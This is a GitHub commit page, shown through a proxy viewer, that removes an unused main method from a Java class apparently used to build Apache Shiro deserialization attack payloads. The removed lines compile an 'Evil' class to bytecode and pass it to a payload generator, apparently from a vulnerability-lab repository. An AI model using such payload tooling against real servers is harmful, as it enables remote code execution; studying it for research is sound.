FazBrowse GitHub Viewer | Trending |
URL:
| Home
Tools: [Download Repo ZIP]   [Original HTTPS Page]

remove unused main method · hackdou/JavaThings@733ecaf · GitHub

Repository navigation

Commit 733ecaf

Browse files
committed
remove unused main method
1 parent 4366874 commit 733ecaf

1 file changed

Lines changed: 0 additions & 8 deletions

File tree

‎shiro/src/main/java/org/vulhub/shiroattack/CommonsCollectionsShiro.java‎

Lines changed: 0 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -49,12 +49,4 @@ public byte[] getPayload(byte[] clazzBytes) throws Exception {
4949

5050
return barr.toByteArray();
5151
}
52-
53-
public static void main(String []args) throws Exception {
54-
ClassPool pool = ClassPool.getDefault();
55-
CtClass clazz = pool.get(Evil.class.getName());
56-
57-
System.out.println("Class " + Evil.class.getName() + "'s bytecode is generate.");
58-
new CommonsCollectionsShiro().getPayload(clazz.toBytecode());
59-
}
6052
}

0 commit comments

Comments
 (0)

Back | FazBrowse Home | New Git URL